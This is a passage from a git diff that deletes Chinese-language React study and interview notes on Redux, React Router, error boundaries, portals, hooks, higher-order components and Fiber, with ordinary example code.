    - ) -} -``` - -### 什么是Redux及其工作原理 - -Redux 是 React的一个状态管理库,它基于flux。 Redux简化了React中的单向数据流。 Redux将状态管理完全从React中抽象出来。 - -#### 它是如何工作的 - -在React中,组件连接到 redux ,如果要访问 redux,需要派出一个包含 `id`和负载(payload) 的 `action`。action 中的 `payload` 是可选的,action 将其转发给 Reducer。 - -当`reducer`收到`action`时,通过 `swithc...case` 语法比较 `action` 中`type`。 匹配时,更新对应的内容返回新的 `state`。 - -当`Redux`状态更改时,连接到`Redux`的组件将接收新的状态作为`props`。当组件接收到这些`props`时,它将进入更新阶段并重新渲染 UI。 - -![clipboard.png](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202205092027901.png) - -#### Redux 循环细节 - -让我们详细看看整个redux 循环细节。 - -![clipboard.png](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202205092027881.png) - - - -**Action**: Action 只是一个简单的json对象,**type** 和有**payload**作为键。**type** 是必须要有的,**payload**是可选的。下面是一个 action 的例子。 - -```js -// action - -{ - type:"SEND_EMAIL", - payload: data -}; -``` - -**Action Creators**:这些是创建`Actions`的函数,因此我们在派发`action`时不必在组件中手动编写每个 `action`。 以下是 action creator 的示例。 - -```js -// action creator - -export function sendEamil(data) { - return { type:"SEND_EMAIL", payload: data}; -} -``` - -**Reducers**:Reducers 是纯函数,它将 `action`和当前 `state` 作为参数,计算必要的逻辑并返回一个新r的`state`。 这些 Reducers 没有任何副作用。 它不会改变 `state` 而是总是返回 `state` 。 - -```js -export default function emailReducer(state = [], action){ - - switch(action.type) { - case "SEND_EMAIL": return Object.assign({}, state, { - email: action.payload - }); - default: return state; - } -} -``` - -#### 组件如何与 `redux` 进行连接 - -**mapStateToProps**:此函数将`state`映射到 `props` 上,因此只要`state`发生变化,新 state 会重新映射到 `props`。 这是订阅`store`的方式。 - -**mapDispatchToProps**:此函数用于将 `action creators` 绑定到你的`props` 。以便我们可以在第`12`行中使用This . `props.actions.sendemail()`来派发一个动作。 - -`connect`和`bindActionCreators`来自 redux。 前者用于连接 store ,如第22行,后者用于将 action creators 绑定到你的 `props` ,如第20行。 - -```js -// import connect -import { connect } from 'react-redux' -import { bindActionCreators } from 'redux' - -// import action creators -import * as userActions from '../../../actions/userActions'; - -export class User extends React.Component { - - handleSubmit() { - // dispatch an action - this.props.actions.sendEmail(this.state.email); - } - -} - -// you are mapping you state props -const mapStateToProps = (state, ownProps) => ({user: state.user}) -// you are binding your action creators to your props -const mapDispatchToProps = (dispatch) => ({actions: bindActionCreators(userActions, dispatch)}) - -export default connect(mapStateToProps, mapDispatchToProps)(User); -``` - -## 什么是 React Router Dom 及其工作原理 - -`react-router-dom`是应用程序中路由的库。 React库中没有路由功能,需要单独安装`react-router-dom`。 - -react-router-dom 提供两个路由器`BrowserRouter`和`HashRoauter`。前者基于rul的pathname段,后者基于hash段。 - -```awk - 前者:http://127.0.0.1:3000/article/num1 - - 后者:http://127.0.0.1:3000/#/article/num1(不一定是这样,但#是少不了的) -``` - -#### **react-router-dom 组件** - -- `BrowserRouter` 和 `HashRouter` 是路由器。 -- `Route` 用于路由匹配。 -- `Link` 组件用于在应用程序中创建链接。 它将在HTML中渲染为锚标记。 -- `NavLink`是突出显示当前活动链接的特殊链接。 -- `Switch` 不是必需的,但在组合路由时很有用。 -- `Redirect` 用于强制路由重定向 - -下面是组件中的`Link`、`NavLink`和`Redirect` 的例子 - -```jsx -// normal link -Home - -// link which highlights currentlu active route with the given class name - - React - - -// you can redirect to this url - -``` - -以下是 react router 组件的示例。 如果你查看下面的示例,我们将匹配路径并使用`Switch`和`Route`呈现相应的组件。 - -```javascript -import React from 'react' -// import react router DOM elements -import { Switch, Route, Redirect } from 'react-router-dom' -import ComponentA from '../common/compa' -import ComponentB from '../common/compb' -import ComponentC from '../common/compc' -import ComponentD from '../common/compd' -import ComponentE from '../common/compe' - - -const Layout = ({ match }) => { - return( -
    - - - - - - - -
    - )} - -export default Layout -``` - -## 什么是错误边界 - -在 React 中,我们通常有一个组件树。如果任何一个组件发生错误,它将破坏整个组件树。没有办法捕捉这些错误,我们可以用错误边界优雅地处理这些错误。 - -错误边界有两个作用 - -- 如果发生错误,显示回退UI -- 记录错误 - -下面是`ErrorBoundary`类的一个例子。如果类实现了 `getDerivedStateFromError`或`componentDidCatch` 这两个生命周期方法的任何一下,,那么这个类就会成为**ErrorBoundary**。前者返回`{hasError: true}`来呈现回退UI,后者用于记录错误。 - -```jsx -import React from 'react' - -export class ErrorBoundary extends React.Component { - constructor(props) { - super(props); - this.state = { hasError: false }; - } - - static getDerivedStateFromError(error) { - // Update state so the next render will show the fallback UI. - return { hasError: true }; - } - - componentDidCatch(error, info) { - // You can also log the error to an error reporting service - console.log('Error::::', error); - } - - render() { - if (this.state.hasError) { - // You can render any custom fallback UI - return

    OOPS!. WE ARE LOOKING INTO IT.

    ; - } - - return this.props.children; - } - } -``` - -以下是我们如何在其中一个组件中使用ErrorBoundary。使用ErrorBoundary类包裹 `ToDoForm`和`ToDoList`。 如果这些组件中发生任何错误,我们会记录错误并显示回退UI。 - -```javascript -import React from 'react'; -import '../App.css'; -import { ToDoForm } from './todoform'; -import { ToDolist } from './todolist'; -import { ErrorBoundary } from '../errorboundary'; - -export class Dashboard extends React.Component { - - render() { - return ( -
    - - - - -
    - ); - } -} -``` - -## 什么是 Fragments 片段 - -在React中,我们需要有一个父元素,同时从组件返回React元素。有时在DOM中添加额外的节点会很烦人。使用 **Fragments**,我们不需要在DOM中添加额外的节点。我们只需要用 `React.Fragment` 或才简写 `<>` 来包裹内容就行了。如下 所示: - -```jsx - // Without Fragments -return ( -
    - - - -
    -) - -// With Fragments - return ( - - - - - - ) - - // shorthand notation Fragments - return ( - <> - - - - - ) -``` - -## 什么是传送门(Portals) - -默认情况下,所有子组件都在UI上呈现,具体取决于组件层次结构。Portal 提供了一种将子节点渲染到存在于父组件以外的 DOM 节点的优秀的方案。 - -这里有一个例子。默认情况下,父组件在DOM层次结构中有子组件。 - -![clipboard.png](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202205092051022.png) - -我们可以将 `children` 组件移出`parent` 组件并将其附加 **id** 为 `someid` 的 Dom 节点下。 - -首先,获取 id 为 someid,我们在constrcutorand中创建一个元素div,将child附加到componentDidMount中的someRoot。 最后,我们在ReactDOM.createPortal(this.props.childen),domnode的帮助下将子节点传递给该特定DOM节点。 - -首先,先获取 id 为`someid` DOM元素,接着在构造函数中创建一个元素div,在 `componentDidMount`方法中将 `someRoot` 放到 div 中 。 最后,通过 -`ReactDOM.createPortal(this.props.childen), domnode)`将 `children` 传递到对应的节点下。 - -```javascript -const someRoot = document.getElementById('someid'); - -class Modal extends React.Component { - constructor(props) { - super(props); - this.el = document.createElement('div'); - } - - componentDidMount() { - someRoot.appendChild(this.el); - } - - componentWillUnmount() { - someRoot.removeChild(this.el); - } - - render() { - return ReactDOM.createPortal( - this.props.children, - this.el, - ); - } -} -``` - -![clipboard.png](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202205092051921.png) - -## 什么是上下文 Context - -有时我们必须将`props` 传递给组件树,即使所有中间组件都不需要这些`props` 。上下文是一种传递`props` 的方法,而不用在每一层传递组件树。 - -## 什么是 Hooks - -Hooks 是React版本16.8中的新功能。 请记住,我们不能在函数组件中使用`state` ,因为它们不是类组件。**Hooks 让我们在函数组件中可以使用`state` 和其他功能。** - -目前没有重大变化,我们不必放弃类组件。 - -Hook 不会影响你对 React 概念的理解。 恰恰相反,Hook 为已知的 React 概念提供了更直接的 API:props, state,context,refs 以及生命周期。稍后我们将看到,Hook 还提供了一种更强大的方式来组合他们。 - -我们可以使用一些钩子,例如useState,useEffect,useContext,useReducer等。 - -下面是 Hooks 的基本规则 - -- Hooks 应该在外层使用,不应该在循环,条件或嵌套函数中使用 -- Hooks 应该只在函数组件中使用。 - -让我们看一个例子来理解 hooks。 这是一个函数组件,它采用`props`并在UI上显示这些`props`。 在`useState`钩子的帮助下,我们将这个函数组件转换为有状态组件。 首先,我们在第5行定义状态,这相当于 - -```delphi -constructor(props) { - super(props); - this.state = { - name:'myname', age:10, address:'0000 one street' - } -} -``` - -`useState`返回两个项,一个是`user`,另一个是`setUser`函数。 `user` 是一个可以在没有 `this`关键字的情况下直接使用的对象,`setUser`是一个可以用来设置用户点击第`21`行按钮的状态的函数,该函数等效于以下内容。 - -```reasonml -this.setState({name:'name changed'}) -``` - - - -```dust - 1 import React, { useState } from 'react'; - 2 - 3 export const UserDisplay = ({name, address, age}) => { - 4 - 5 const [user, setUser] = useState({ name: 'myname', age: 10, address: '0000 onestreet' }); - 6 - 7 return ( - 8 <> - 9
    - 10
    Name:
    - 11
    {user.name}
    - 12
    - 13
    - 14
    Address:
    - 15
    {user.address}
    - 16
    - 17
    - 18
    Age:
    - 19
    {user.age}
    - 20
    - 21 - 24 - 25 ) - 26 } -``` - -## 如何提高性能 - -我们可以通过多种方式提高应用性能,以下这些比较重要: - -- 适当地使用`shouldComponentUpdate`生命周期方法。 它避免了子组件的不必要的渲染。 如果树中有100个组件,则不重新渲染整个组件树来提高应用程序性能。 -- 使用`create-react-app`来构建项目,这会创建整个项目结构,并进行大量优化。 -- 不可变性是提高性能的关键。不要对数据进行修改,而是始终在现有集合的基础上创建新的集合,以保持尽可能少的复制,从而提高性能。 -- 在显示列表或表格时始终使用 `Keys`,这会让 React 的更新速度更快 -- 代码分离是将代码插入到单独的文件中,只加载模块或部分所需的文件的技术。 - -## 如何在重新加载页面时保留数据 - -单页应用程序首先在DOM中加载`index.html`,然后在用户浏览页面时加载内容,或者从同一`index.html`中的后端API获取任何数据。 - -如果通过点击浏览器中的重新加载按钮重新加载页面`index.html`,整个React应用程序将重新加载,我们将丢失应用程序的状态。 如何保留应用状态? - -每当重新加载应用程序时,我们使用浏览器`localstorage`来保存应用程序的状态。我们将整个存储数据保存在`localstorage`中,每当有页面刷新或重新加载时,我们从`localstorage`加载状态。 - -![clipboard.png](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202205092051971.png) - -## 如何在React进行API调用 - -我们使用`redux-thunk`在React中调用API。因为`reduce`是纯函数,所以没有副作用,比如调用API。 - -因此,我们必须使用`redux-thunk`从 action creators 那里进行 API 调用。Action creator 派发一个action,将来自API的数据放入action 的 `payload` 中。Reducers 接收我们在上面的`redux`循环中讨论的数据,其余的过程也是相同的。 - -![clipboard.png](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202205092051952.png) - -redux-thunk是一个中间件。一旦它被引入到项目中,每次派发一个`action`时,都会通过`thunk`传递。如果它是一个函数,它只是等待函数处理并返回响应。如果它不是一个函数,它只是正常处理。 - -这里有一个例子。`sendEmailAPI`是从组件中调用的函数,它接受一个数据并返回一个函数,其中`dispatch`作为参数。我们使用`redux-thunk`调用API `apiservice`,并等待收到响应。一旦接收到响应,我们就使用`payload` 派发一个`action` 。 - -```javascript -import apiservice from '../services/apiservice'; - -export function sendEmail(data) { - return { type:"SEND_EMAIL", payload: data }; -} - -export function sendEmailAPI(email) { - return function(dispatch) { - return apiservice.callAPI(email).then(data => { - dispatch(sendEmail(data)); - }); - } -} -``` diff --git "a/src/React/\351\235\242\350\257\225\351\242\230/React \351\235\242\350\257\225\351\242\230\357\274\210\344\270\200\357\274\211.md" "b/src/React/\351\235\242\350\257\225\351\242\230/React \351\235\242\350\257\225\351\242\230\357\274\210\344\270\200\357\274\211.md" deleted file mode 100644 index ded4da8e..00000000 --- "a/src/React/\351\235\242\350\257\225\351\242\230/React \351\235\242\350\257\225\351\242\230\357\274\210\344\270\200\357\274\211.md" +++ /dev/null @@ -1,1984 +0,0 @@ ---- -date: 2022-06-26 -category: -- React -- 面试题 ---- - -> [参照 「2021」高频前端面试题汇总之React篇(上)](https://juejin.cn/post/6941546135827775525) - -# React 面试题(一) - -## 一、组件基础 - -### 1. React 事件机制 :star::star: - -```vue -
    点我
    -``` - -React并不是将click事件绑定到了div的真实DOM上,而是在document处监听了所有的事件,当事件发生并且冒泡到document处的时候,React将事件内容封装并交由真正的处理函数运行。这样的方式不仅仅减少了内存的消耗,还能在组件挂在销毁时统一订阅和移除事件。 - -除此之外,冒泡到document上的事件也不是原生的浏览器事件,而是由react自己实现的合成事件(SyntheticEvent)。因此如果不想要是事件冒泡的话应该调用event.preventDefault()方法,而不是调用event.stopProppagation()方法。 - -![image-20220626152257032](https://cdn.yihuiblog.top/images/202206261522143.png) - -JSX 上写的事件并没有绑定在对应的真实 DOM 上,而是**通过事件代理的方式**,将所有的事件都统一绑定在了 `document` 上。这样的方式不仅减少了内存消耗,还能在组件挂载销毁时统一订阅和移除事件。 - -另外冒泡到 `document` 上的事件也不是原生浏览器事件,而是 React 自己实现的合成事件(SyntheticEvent)。因此我们如果不想要事件冒泡的话,调用 `event.stopPropagation` 是无效的,而应该调用 `event.preventDefault`。 - -实现合成事件的目的如下: - -- 合成事件首先抹平了浏览器之间的兼容问题,另外这是一个跨浏览器原生事件包装器,赋予了跨浏览器开发的能力; -- 对于原生浏览器事件来说,浏览器会给监听器创建一个事件对象。如果你有很多的事件监听,那么就需要分配很多的事件对象,造成高额的内存分配问题。但是对于合成事件来说,**有一个事件池专门来管理它们的创建和销毁**,当事件需要被使用时,就会从池子中复用对象,事件回调结束后,就会销毁事件对象上的属性,从而便于下次复用事件对象。 - -### 2. React的事件和普通的HTML事件有什么不同?:star: - -区别: - -- 对于事件名称命名方式,原生事件为全小写,react 事件采用小驼峰; -- 对于事件函数处理语法,原生事件为字符串,react 事件为函数; -- react 事件不能采用 return false 的方式来阻止浏览器的默认行为,而必须要地明确地调用`preventDefault()`来阻止默认行为。 - -合成事件是 react 模拟原生 DOM 事件所有能力的一个事件对象,其优点如下: - -- 兼容所有浏览器,更好的跨平台; -- 将事件统一存放在一个数组,避免频繁的新增与删除(垃圾回收)。 -- 方便 react 统一管理和事务机制。 - -事件的执行顺序为原生事件先执行,合成事件后执行,合成事件会冒泡绑定到 document 上,所以尽量避免原生事件与合成事件混用,如果原生事件阻止冒泡,可能会导致合成事件不执行,因为需要冒泡到document 上合成事件才会执行。 - -### 3. React 组件中怎么做事件代理?它的原理是什么? - -React基于Virtual DOM实现了一个SyntheticEvent层(合成事件层),定义的事件处理器会接收到一个合成事件对象的实例,它符合W3C标准,且与原生的浏览器事件拥有同样的接口,支持冒泡机制,所有的事件都自动绑定在最外层上。 - -在React底层,主要对合成事件做了两件事: - -- **事件委派:** React会把所有的事件绑定到结构的最外层,使用统一的事件监听器,这个事件监听器上维持了一个映射来保存所有组件内部事件监听和处理函数。 -- **自动绑定:** React组件中,每个方法的上下文都会指向该组件的实例,即自动绑定this为当前组件。 - -### 4. React 高阶组件、Render props、hooks 有什么区别,为什么要不断迭代 - -这三者是目前react解决代码复用的主要方式: - -- **高阶组件(HOC)是 React 中用于复用组件逻辑的一种高级技巧**。HOC 自身不是 React API 的一部分,它是一种基于 React 的组合特性而形成的设计模式。具体而言,高阶组件是参数为组件,返回值为新组件的函数。 -- **render props是指一种在 React 组件之间使用一个值为函数的 prop 共享代码的简单技术,**更具体的说,render prop 是一个用于告知组件需要渲染什么内容的函数 prop。 -- 通常,render props 和高阶组件只渲染一个子节点。让 Hook 来服务这个使用场景更加简单。这两种模式仍有用武之地,(例如,一个虚拟滚动条组件或许会有一个 renderltem 属性,或是一个可见的容器组件或许会有它自己的 DOM 结构)。但在大部分场景下,Hook 足够了,并且能够帮助减少嵌套。 - -**(1)HOC** 官方解释∶ - -> 高阶组件(HOC)是 React 中用于复用组件逻辑的一种高级技巧。HOC 自身不是 React API 的一部分,它是一种基于 React 的组合特性而形成的设计模式。 - -简言之,HOC是一种组件的设计模式,HOC接受一个组件和额外的参数(如果需要),返回一个新的组件。HOC 是纯函数,没有副作用。 - -```javascript -// hoc的定义 -function withSubscription(WrappedComponent, selectData) { - return class extends React.Component { - constructor(props) { - super(props); - this.state = { - data: selectData(DataSource, props) - }; - } - // 一些通用的逻辑处理 - render() { - // ... 并使用新数据渲染被包装的组件! - return ; - } - }; - -// 使用 -const BlogPostWithSubscription = withSubscription(BlogPost, - (DataSource, props) => DataSource.getBlogPost(props.id)); -``` - -HOC的优缺点∶ - -- 优点∶ 逻辑服用、不影响被包裹组件的内部逻辑。 -- 缺点∶ hoc传递给被包裹组件的props容易和被包裹后的组件重名,进而被覆盖 - -**(2)Render props** 官方解释∶ - -> "render prop"是指一种在 React 组件之间使用一个**值为函数的 prop 共享代码的简单技术** - -具有render prop 的组件接受一个返回React元素的函数,将render的渲染逻辑注入到组件内部。在这里,**"render"的命名可以是任何其他有效的标识符。** - -```jsx -// DataProvider组件内部的渲染逻辑如下 -class DataProvider extends React.Components { - state = { - name: 'Tom' - } - - render() { - return ( -
    -

    共享数据组件自己内部的渲染逻辑

    - { this.props.render(this.state) } -
    - ); - } -} - -// 调用方式 - ( -

    Hello {data.name}

    -)}/> -``` - -由此可以看到,render props的优缺点也很明显∶ - -- 优点:数据共享、代码复用,将组件内的state作为props传递给调用者,将渲染逻辑交给调用者。 -- 缺点:无法在 return 语句外访问数据、嵌套写法不够优雅 - -**(3)Hooks** 官方解释∶ - -> Hook是 React 16.8 的新增特性。它可以让你在不编写 class 的情况下使用 state 以及其他的 React 特性。通过自定义hook,可以复用代码逻辑。 - -```javascript -// 自定义一个获取订阅数据的hook -function useSubscription() { - const data = DataSource.getComments(); - return [data]; -} -// -function CommentList(props) { - const {data} = props; - const [subData] = useSubscription(); - ... -} -// 使用 - -``` - -以上可以看出,hook解决了hoc的prop覆盖的问题,同时使用的方式解决了render props的嵌套地狱的问题。hook的优点如下∶ - -- 使用直观; -- 解决hoc的prop 重名问题; -- 解决render props 因共享数据 而出现嵌套地狱的问题; -- 能在return之外使用数据的问题。 - -需要注意的是:hook只能在组件顶层使用,不可在分支语句中使用。 - -**总结∶** Hoc、render props和hook都是为了解决代码复用的问题,但是hoc和render props都有特定的使用场景和明显的缺点。hook是react16.8更新的新的API,让组件逻辑复用更简洁明了,同时也解决了hoc和render props的一些缺点。 - -### 5. 对React-Fiber的理解,它解决了什么问题?:star: - -React V15 在渲染时,会递归比对 VirtualDOM 树,找出需要变动的节点,然后同步更新它们, 一气呵成。这个过程期间, React 会占据浏览器资源,这会导致用户触发的事件得不到响应,并且会导致掉帧,**导致用户感觉到卡顿**。 - -为了给用户制造一种应用很快的“假象”,不能让一个任务长期霸占着资源。 可以将浏览器的渲染、布局、绘制、资源加载(例如 HTML 解析)、事件响应、脚本执行视作操作系统的“进程”,需要通过某些调度策略合理地分配 CPU 资源,从而提高浏览器的用户响应速率, 同时兼顾任务执行效率。 - -**所以 React 通过Fiber 架构,让这个执行过程变成可被中断。“适时”地让出 CPU 执行权,除了可以让浏览器及时地响应用户的交互,还有其他好处:** - -- 分批延时对DOM进行操作,避免一次性操作大量 DOM 节点,可以得到更好的用户体验; -- 给浏览器一点喘息的机会,它会对代码进行编译优化(JIT)及进行热代码优化,或者对 reflow 进行修正。 - -:star:**核心思想:** Fiber 也称协程或者纤程。它和线程并不一样,协程本身是没有并发或者并行能力的(需要配合线程),它只是一种控制流程的让出机制。让出 CPU 的执行权,让 CPU 能在这段时间执行其他的操作。渲染的过程可以被中断,可以将控制权交回浏览器,让位给高优先级的任务,浏览器空闲后再恢复渲染。 - -### 6. React.Component 和 React.PureComponent 的区别 - -PureComponent表示一个纯组件,可以用来优化React程序,减少render函数执行的次数,从而提高组件的性能。 - -在React中,当prop或者state发生变化时,可以通过在shouldComponentUpdate生命周期函数中执行return false来阻止页面的更新,从而减少不必要的render执行。React.PureComponent会自动执行 shouldComponentUpdate。 - -不过,pureComponent中的 shouldComponentUpdate() 进行的是**浅比较**,也就是说如果是引用数据类型的数据,只会比较不是同一个地址,而不会比较这个地址里面的数据是否一致。浅比较会忽略属性和或状态突变情况,其实也就是数据引用指针没有变化,而数据发生改变的时候render是不会执行的。如果需要重新渲染那么就需要重新开辟空间引用数据。PureComponent一般会用在一些纯展示组件上。 - -使用pureComponent的**好处**:当组件更新时,如果组件的props或者state都没有改变,render函数就不会触发。省去虚拟DOM的生成和对比过程,达到提升性能的目的。这是因为react自动做了一层浅比较。 - -### 7. Component, Element, Instance 之间有什么区别和联系? - -- **元素:** 一个元素`element`是一个普通对象(plain object),描述了对于一个DOM节点或者其他组件`component`,你想让它在屏幕上呈现成什么样子。元素`element`可以在它的属性`props`中包含其他元素(译注:用于形成元素树)。创建一个React元素`element`成本很低。元素`element`创建之后是不可变的。 -- **组件:** 一个组件`component`可以通过多种方式声明。可以是带有一个`render()`方法的类,简单点也可以定义为一个函数。这两种情况下,它都把属性`props`作为输入,把返回的一棵元素树作为输出。 -- **实例:** 一个实例`instance`是你在所写的组件类`component class`中使用关键字`this`所指向的东西(译注:组件实例)。它用来存储本地状态和响应生命周期事件很有用。 - -函数式组件(`Functional component`)根本没有实例`instance`。类组件(`Class component`)有实例`instance`,但是永远也不需要直接创建一个组件的实例,因为React帮我们做了这些。 - -### 8. React.createClass和extends Component的区别有哪些?:star: - -React.createClass和extends Component的bai区别主要在于: - -**(1)语法区别** - -- createClass本质上是一个**工厂函数**,extends的方式更加接近最新的ES6规范的class写法。两种方式在语法上的差别主要体现在方法的定义和静态属性的声明上。 -- createClass方式的方法定义使用逗号,隔开,因为creatClass本质上是一个函数,传递给它的是一个Object;而class的方式定义方法时务必谨记不要使用逗号隔开,这是ES6 class的语法规范。 - -**(2)propType 和 getDefaultProps** - -- React.createClass:通过proTypes对象和getDefaultProps()方法来设置和获取props. -- React.Component:通过设置两个属性propTypes和defaultProps - -**(3)状态的区别** - -- React.createClass:通过getInitialState()方法返回一个包含初始值的对象 -- React.Component:通过constructor设置初始状态 - -**(4)this区别** - -- React.createClass:会正确绑定this -- React.Component:由于使用了 ES6,这里会有些微不同,属性并不会自动绑定到 React 类的实例上。 - -**(5)Mixins** - -- React.createClass:使用 React.createClass 的话,可以在创建组件时添加一个叫做 mixins 的属性,并将可供混合的类的集合以数组的形式赋给 mixins。 -- 如果使用 ES6 的方式来创建组件,那么 `React mixins` 的特性将不能被使用了。 - -### 9. React 高阶组件是什么,和普通组件有什么区别,适用什么场景:star::star: - -官方解释∶ - -> 高阶组件(HOC)是 React 中用于复用组件逻辑的一种高级技巧。HOC 自身不是 React API 的一部分,它是一种基于 React 的组合特性而形成的设计模式。 - -高阶组件(HOC)就是一个函数,且该函数接受一个组件作为参数,并返回一个新的组件,它只是一种组件的设计模式,这种设计模式是由react自身的组合性质必然产生的。我们将它们称为纯组件,因为它们可以接受任何动态提供的子组件,但它们不会修改或复制其输入组件中的任何行为。 - -```javascript -// hoc的定义 -function withSubscription(WrappedComponent, selectData) { - return class extends React.Component { - constructor(props) { - super(props); - this.state = { - data: selectData(DataSource, props) - }; - } - // 一些通用的逻辑处理 - render() { - // ... 并使用新数据渲染被包装的组件! - return ; - } - }; - -// 使用 -const BlogPostWithSubscription = withSubscription(BlogPost, - (DataSource, props) => DataSource.getBlogPost(props.id)); -``` - -**1)HOC的优缺点** - -- 优点∶逻辑服用、不影响被包裹组件的内部逻辑。 -- **缺点∶hoc传递给被包裹组件的props容易和被包裹后的组件重名,进而被覆盖** - -**2)适用场景** - -- 代码复用,逻辑抽象 -- 渲染劫持 -- State 抽象和更改 -- Props 更改 - -**3)具体应用例子** - -- **权限控制:** 利用高阶组件的 **条件渲染** 特性可以对页面进行权限控制,权限控制一般分为两个维度:页面级别和 页面元素级别 - -```javascript -// HOC.js -function withAdminAuth(WrappedComponent) { - return class extends React.Component { - state = { - isAdmin: false, - } - async UNSAFE_componentWillMount() { - const currentRole = await getCurrentUserRole(); - this.setState({ - isAdmin: currentRole === 'Admin', - }); - } - render() { - if (this.state.isAdmin) { - return ; - } else { - return (
    您没有权限查看该页面,请联系管理员!
    ); - } - } - }; -} - -// pages/page-a.js -class PageA extends React.Component { - constructor(props) { - super(props); - // something here... - } - UNSAFE_componentWillMount() { - // fetching data - } - render() { - // render page with data - } -} -export default withAdminAuth(PageA); - - -// pages/page-b.js -class PageB extends React.Component { - constructor(props) { - super(props); - // something here... - } - UNSAFE_componentWillMount() { - // fetching data - } - render() { - // render page with data - } -} -export default withAdminAuth(PageB); -``` - -- **组件渲染性能追踪:** 借助父组件子组件生命周期规则捕获子组件的生命周期,可以方便的对某个组件的渲染时间进行记录∶ - -```jsx -class Home extends React.Component { - render() { - return (

    Hello World.

    ); - } - } - function withTiming(WrappedComponent) { - return class extends WrappedComponent { - constructor(props) { - super(props); - this.start = 0; - this.end = 0; - } - UNSAFE_componentWillMount() { - super.componentWillMount && super.componentWillMount(); - this.start = Date.now(); - } - componentDidMount() { - super.componentDidMount && super.componentDidMount(); - this.end = Date.now(); - console.log(`${WrappedComponent.name} 组件渲染时间为 ${this.end - this.start} ms`); - } - render() { - return super.render(); - } - }; - } - - export default withTiming(Home); -``` - -注意:withTiming 是利用 反向继承 实现的一个高阶组件,功能是计算被包裹组件(这里是 Home 组件)的渲染时间。 - -- **页面复用** - -```javascript -const withFetching = fetching => WrappedComponent => { - return class extends React.Component { - state = { - data: [], - } - async UNSAFE_componentWillMount() { - const data = await fetching(); - this.setState({ - data, - }); - } - render() { - return ; - } - } -} - -// pages/page-a.js -export default withFetching(fetching('science-fiction'))(MovieList); -// pages/page-b.js -export default withFetching(fetching('action'))(MovieList); -// pages/page-other.js -export default withFetching(fetching('some-other-type'))(MovieList); -``` - -### 10. 对componentWillReceiveProps 的理解 - -该方法当`props`发生变化时执行,初始化`render`时不执行,在这个回调函数里面,你可以根据属性的变化,通过调用`this.setState()`来更新你的组件状态,旧的属性还是可以通过`this.props`来获取,这里调用更新状态是安全的,并不会触发额外的`render`调用。 - -**使用好处:** 在这个生命周期中,可以在子组件的render函数执行前获取新的props,从而更新子组件自己的state。 可以将数据请求放在这里进行执行,需要传的参数则从componentWillReceiveProps(nextProps)中获取。而不必将所有的请求都放在父组件中。于是该请求只会在该组件渲染时才会发出,从而减轻请求负担。 - -componentWillReceiveProps在初始化render的时候不会执行,它会在Component接受到新的状态(Props)时被触发,一般用于父组件状态更新时子组件的重新渲染。 - -### 11. 哪些方法会触发 React 重新渲染?重新渲染 render 会做些什么?:star::star: - -**(1)哪些方法会触发 react 重新渲染?** - -- **setState()方法被调用** - -setState 是 React 中最常用的命令,通常情况下,执行 setState 会触发 render。但是这里有个点值得关注,执行 setState 的时候不一定会重新渲染。当 setState 传入 null 时,并不会触发 render。 - -```javascript -class App extends React.Component { - state = { - a: 1 - }; - - render() { - console.log("render"); - return ( - -

    {this.state.a}

    - - - -
    - ); - } -} -``` - -- **父组件重新渲染** - -只要父组件重新渲染了,即使传入子组件的 props 未发生变化,那么子组件也会重新渲染,进而触发 render - -**(2)重新渲染 render 会做些什么?** - -- 会对新旧 VNode 进行对比,也就是我们所说的Diff算法。 -- 对新旧两棵树进行一个深度优先遍历,这样每一个节点都会一个标记,在到深度遍历的时候,每遍历到一和个节点,就把该节点和新的节点树进行对比,如果有差异就放到一个对象里面 -- 遍历差异对象,根据差异的类型,根据对应对规则更新VNode - -**React 的处理 render 的基本思维模式是每次一有变动就会去重新渲染整个应用。**在 Virtual DOM 没有出现之前,最简单的方法就是直接调用 innerHTML。Virtual DOM厉害的地方并不是说它比直接操作 DOM 快,而是说不管数据怎么变,都会尽量以最小的代价去更新 DOM。React 将 render 函数返回的虚拟 DOM 树与老的进行比较,从而确定 DOM 要不要更新、怎么更新。当 DOM 树很大时,遍历两棵树进行各种比对还是相当耗性能的,特别是在顶层 setState 一个微小的修改,默认会去遍历整棵树。尽管 React 使用高度优化的 Diff 算法,但是这个过程仍然会损耗性能. - -### 12. React如何判断什么时候重新渲染组件?:star: - -组件状态的改变可以因为`props`的改变,或者直接通过`setState`方法改变。组件获得新的状态,然后React决定是否应该重新渲染组件。只要组件的state发生变化,React就会对组件进行重新渲染。这是因为React中的`shouldComponentUpdate`方法默认返回`true`,这就是导致每次更新都重新渲染的原因。 - -当React将要渲染组件时会执行`shouldComponentUpdate`方法来看它是否返回`true`(组件应该更新,也就是重新渲染)。所以需要重写`shouldComponentUpdate`方法让它根据情况返回`true`或者`false`来告诉React什么时候重新渲染什么时候跳过重新渲染。 - -### 13. React声明组件有哪几种方法,有什么不同? - -React **声明组件**的三种方式: - -- 函数式定义的`无状态组件` -- ES5原生方式`React.createClass`定义的组件 -- ES6形式的`extends React.Component`定义的组件 - -**(1)无状态函数式组件** 它是为了创建纯展示组件,这种组件只负责根据传入的props来展示,不涉及到state状态的操作 组件不会被实例化,整体渲染性能得到提升,不能访问this对象,不能访问生命周期的方法 - -**(2)ES5 原生方式 React.createClass // RFC** React.createClass会自绑定函数方法,导致不必要的性能开销,增加代码过时的可能性。 - -**(3)E6继承形式 React.Component // RCC** 目前极为推荐的创建有状态组件的方式,最终会取代React.createClass形式;相对于 React.createClass可以更好实现代码复用。 - -**无状态组件相对于于后者的区别:** 与无状态组件相比,React.createClass和React.Component都是创建有状态的组件,这些组件是要被实例化的,并且可以访问组件的生命周期方法。 - -**React.createClass与React.Component区别:** - -**① 函数this自绑定** - -- React.createClass创建的组件,其每一个成员函数的this都有React**自动绑定**,函数中的this会被正确设置。 -- React.Component创建的组件,**其成员函数不会自动绑定this,需要开发者手动绑定,否则this不能获取当前组件实例对象。** - -**② 组件属性类型propTypes及其默认props属性defaultProps配置不同** - -- React.createClass在创建组件时,有关组件props的属性类型及组件默认的属性会作为组件实例的属性来配置,其中defaultProps是使用getDefaultProps的方法来获取默认组件属性的 -- React.Component在创建组件时配置这两个对应信息时,他们是作为组件类的属性,不是组件实例的属性,也就是所谓的类的静态属性来配置的。 - -**③ 